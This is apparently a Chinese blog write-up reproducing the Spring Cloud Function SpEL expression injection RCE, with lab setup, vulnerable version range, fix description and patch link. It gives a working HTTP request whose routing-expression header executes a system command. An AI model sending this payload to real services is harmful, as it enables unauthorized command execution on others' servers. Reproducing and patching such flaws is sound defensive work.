读者需知
本文仅供学习使用,由于传播和利用此文所造成的损失均由使用者本人负责,文章作者不为此承担责任
SpringCloud Function作为SpringCloud家族成员最早在2017年提出,旨在为快速发展的Serverless市场提供一个Spring的接入路径,使用SpringCloud Function进行无服务(我这里直接称为函数式编程)的项目开发可以大大节约成本,同时对于SpringBoot熟悉的人可以迅速上手
最近Spring Cloud Function组件爆出0day – SpEL表达式注入导致RCE,官方commit中的test已经公开对应细节。
3 <= Version <= 3.2.2(commit dc5128b之前)
本文复现环境为unbuntu
1、 环境搭建
利用vulfocus环境进行搭建
2、 直接访问对应8080端口,利用BP抓包改包即可
POST /functionRouter HTTP/1.1
Host: xxx:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
经过分析,该漏洞的主要危害是可以导致RCE命令执行,可以造成被迫执行系统命令,文件读取和反弹shell
1、添加一个isViaHeader
为true时:headerEvalContext = SimpleEvaluationContext
为false时:evalContext = new StandardEvaluationContext
2、官方已针对此漏洞发布修复补丁,请受影响的用户尽快修复。
官方链接:
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f